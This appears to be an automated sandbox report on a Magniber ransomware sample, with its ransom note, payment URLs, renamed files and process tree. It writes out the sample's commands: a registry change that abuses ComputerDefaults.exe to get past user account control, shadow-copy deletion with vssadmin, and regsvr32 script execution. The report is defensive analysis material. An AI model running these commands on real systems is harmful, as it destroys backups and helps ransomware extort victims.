magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Resubmissions

11-11-2021 09:54

211111-lxdrrsgbem 10

11-11-2021 09:53

211111-lwmnaabaf5 5

Analysis

max time kernel
147s
max time network
122s
platform
windows10_x64
resource
win10-en-20211104
submitted
11-11-2021 09:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://6c34c818baf46e10e8eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://6c34c818baf46e10e8eltalkfzj.jobsbig.cam/eltalkfzj http://6c34c818baf46e10e8eltalkfzj.boxgas.icu/eltalkfzj http://6c34c818baf46e10e8eltalkfzj.sixsees.club/eltalkfzj http://6c34c818baf46e10e8eltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://6c34c818baf46e10e8eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://6c34c818baf46e10e8eltalkfzj.jobsbig.cam/eltalkfzj

http://6c34c818baf46e10e8eltalkfzj.boxgas.icu/eltalkfzj

http://6c34c818baf46e10e8eltalkfzj.sixsees.club/eltalkfzj

http://6c34c818baf46e10e8eltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3524	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3476	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4300	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4412	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4456	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4500	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4536	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4608	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	1624	cmd.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4696	1624	cmd.exe	88

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

sihost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\CompleteRedo.crw => C:\Users\Admin\Pictures\CompleteRedo.crw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\UnprotectEnable.crw => C:\Users\Admin\Pictures\UnprotectEnable.crw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\OutDisable.tif => C:\Users\Admin\Pictures\OutDisable.tif.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\ProtectStop.png => C:\Users\Admin\Pictures\ProtectStop.png.eltalkfzj	sihost.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

description	pid	Process	procid_target
PID 2672 set thread context of 2372	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	35
PID 2672 set thread context of 2412	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	16
PID 2672 set thread context of 2696	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	18
PID 2672 set thread context of 3040	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	20
PID 2672 set thread context of 3456	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	30
PID 2672 set thread context of 3656	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	29

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
3872	3656	WerFault.exe	29

Modifies registry class 29 IoCs

Processes:

svchost.exeExplorer.EXE1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exeRuntimeBroker.exesihost.exetaskhostw.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
904	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exeWerFault.exe

pid	Process
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe
3872	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid	Process
3040	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

pid	Process
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WerFault.exeExplorer.EXEWMIC.exeWMIC.exe

description	pid	Process
Token: SeDebugPrivilege	3872	WerFault.exe
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	704	WMIC.exe
Token: SeSecurityPrivilege	704	WMIC.exe
Token: SeTakeOwnershipPrivilege	704	WMIC.exe
Token: SeLoadDriverPrivilege	704	WMIC.exe
Token: SeSystemProfilePrivilege	704	WMIC.exe
Token: SeSystemtimePrivilege	704	WMIC.exe
Token: SeProfSingleProcessPrivilege	704	WMIC.exe
Token: SeIncBasePriorityPrivilege	704	WMIC.exe
Token: SeCreatePagefilePrivilege	704	WMIC.exe
Token: SeBackupPrivilege	704	WMIC.exe
Token: SeRestorePrivilege	704	WMIC.exe
Token: SeShutdownPrivilege	704	WMIC.exe
Token: SeDebugPrivilege	704	WMIC.exe
Token: SeSystemEnvironmentPrivilege	704	WMIC.exe
Token: SeRemoteShutdownPrivilege	704	WMIC.exe
Token: SeUndockPrivilege	704	WMIC.exe
Token: SeManageVolumePrivilege	704	WMIC.exe
Token: 33	704	WMIC.exe
Token: 34	704	WMIC.exe
Token: 35	704	WMIC.exe
Token: 36	704	WMIC.exe
Token: SeIncreaseQuotaPrivilege	348	WMIC.exe
Token: SeSecurityPrivilege	348	WMIC.exe
Token: SeTakeOwnershipPrivilege	348	WMIC.exe
Token: SeLoadDriverPrivilege	348	WMIC.exe
Token: SeSystemProfilePrivilege	348	WMIC.exe
Token: SeSystemtimePrivilege	348	WMIC.exe
Token: SeProfSingleProcessPrivilege	348	WMIC.exe
Token: SeIncBasePriorityPrivilege	348	WMIC.exe
Token: SeCreatePagefilePrivilege	348	WMIC.exe
Token: SeBackupPrivilege	348	WMIC.exe
Token: SeRestorePrivilege	348	WMIC.exe
Token: SeShutdownPrivilege	348	WMIC.exe
Token: SeDebugPrivilege	348	WMIC.exe
Token: SeSystemEnvironmentPrivilege	348	WMIC.exe
Token: SeRemoteShutdownPrivilege	348	WMIC.exe
Token: SeUndockPrivilege	348	WMIC.exe
Token: SeManageVolumePrivilege	348	WMIC.exe
Token: 33	348	WMIC.exe
Token: 34	348	WMIC.exe
Token: 35	348	WMIC.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid	Process
3040	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

sihost.execmd.exeWMIC.exesvchost.execmd.exetaskhostw.execmd.exeExplorer.EXERuntimeBroker.execmd.execmd.exe1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 2372 wrote to memory of 904	2372	sihost.exe	71
PID 2372 wrote to memory of 904	2372	sihost.exe	71
PID 2372 wrote to memory of 3692	2372	sihost.exe	72
PID 2372 wrote to memory of 3692	2372	sihost.exe	72
PID 2372 wrote to memory of 3536	2372	sihost.exe	128
PID 2372 wrote to memory of 3536	2372	sihost.exe	128
PID 2372 wrote to memory of 1580	2372	sihost.exe	75
PID 2372 wrote to memory of 1580	2372	sihost.exe	75
PID 1580 wrote to memory of 704	1580	cmd.exe	78
PID 1580 wrote to memory of 704	1580	cmd.exe	78
PID 3536 wrote to memory of 348	3536	WMIC.exe	124
PID 3536 wrote to memory of 348	3536	WMIC.exe	124
PID 2412 wrote to memory of 2216	2412	svchost.exe	80
PID 2412 wrote to memory of 2216	2412	svchost.exe	80
PID 2412 wrote to memory of 2692	2412	svchost.exe	81
PID 2412 wrote to memory of 2692	2412	svchost.exe	81
PID 2692 wrote to memory of 3876	2692	cmd.exe	85
PID 2692 wrote to memory of 3876	2692	cmd.exe	85
PID 2696 wrote to memory of 2868	2696	taskhostw.exe	84
PID 2696 wrote to memory of 2868	2696	taskhostw.exe	84
PID 2696 wrote to memory of 2948	2696	taskhostw.exe	86
PID 2696 wrote to memory of 2948	2696	taskhostw.exe	86
PID 2216 wrote to memory of 2240	2216	cmd.exe	90
PID 2216 wrote to memory of 2240	2216	cmd.exe	90
PID 3040 wrote to memory of 3960	3040	Explorer.EXE	98
PID 3040 wrote to memory of 3960	3040	Explorer.EXE	98
PID 3040 wrote to memory of 3236	3040	Explorer.EXE	93
PID 3040 wrote to memory of 3236	3040	Explorer.EXE	93
PID 3456 wrote to memory of 2280	3456	RuntimeBroker.exe	100
PID 3456 wrote to memory of 2280	3456	RuntimeBroker.exe	100
PID 2948 wrote to memory of 1540	2948	cmd.exe	99
PID 2948 wrote to memory of 1540	2948	cmd.exe	99
PID 3456 wrote to memory of 3616	3456	RuntimeBroker.exe	101
PID 3456 wrote to memory of 3616	3456	RuntimeBroker.exe	101
PID 2868 wrote to memory of 4080	2868	cmd.exe	103
PID 2868 wrote to memory of 4080	2868	cmd.exe	103
PID 2672 wrote to memory of 2084	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	105
PID 2672 wrote to memory of 2084	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	105
PID 2672 wrote to memory of 1356	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	107
PID 2672 wrote to memory of 1356	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	107
PID 2672 wrote to memory of 588	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	113
PID 2672 wrote to memory of 588	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	113
PID 2672 wrote to memory of 1416	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	114
PID 2672 wrote to memory of 1416	2672	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	114
PID 3236 wrote to memory of 884	3236	cmd.exe	115
PID 3236 wrote to memory of 884	3236	cmd.exe	115
PID 2980 wrote to memory of 3824	2980	cmd.exe	118
PID 2980 wrote to memory of 3824	2980	cmd.exe	118
PID 3524 wrote to memory of 352	3524	cmd.exe	122
PID 3524 wrote to memory of 352	3524	cmd.exe	122
PID 3960 wrote to memory of 3784	3960	cmd.exe	119
PID 3960 wrote to memory of 3784	3960	cmd.exe	119
PID 3616 wrote to memory of 1568	3616	cmd.exe	123
PID 3616 wrote to memory of 1568	3616	cmd.exe	123
PID 1356 wrote to memory of 2584	1356	cmd.exe	125
PID 1356 wrote to memory of 2584	1356	cmd.exe	125
PID 2280 wrote to memory of 348	2280	cmd.exe	124
PID 2280 wrote to memory of 348	2280	cmd.exe	124
PID 2084 wrote to memory of 1116	2084	cmd.exe	126
PID 2084 wrote to memory of 1116	2084	cmd.exe	126
PID 3160 wrote to memory of 1564	3160	cmd.exe	127
PID 3160 wrote to memory of 1564	3160	cmd.exe	127
PID 2232 wrote to memory of 2444	2232	cmd.exe	129
PID 2232 wrote to memory of 2444	2232	cmd.exe	129

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2412
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2240
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3876

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2696
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4080
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1540

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1116
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2584
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    PID:588
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3032
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    PID:1416
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3536
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:884
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3784

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3656
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3656 -s 832
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3872

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:348
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1568

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2372
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:904
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://6c34c818baf46e10e8eltalkfzj.jobsbig.cam/eltalkfzj^&1^&41615288^&86^&311^&2215063"
  2⤵
  PID:3692
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  PID:3536
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:348
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:704

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:3824

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3524
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:352

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1564

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:2444

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:3476
- C:\Windows\system32\ComputerDefaults.exe
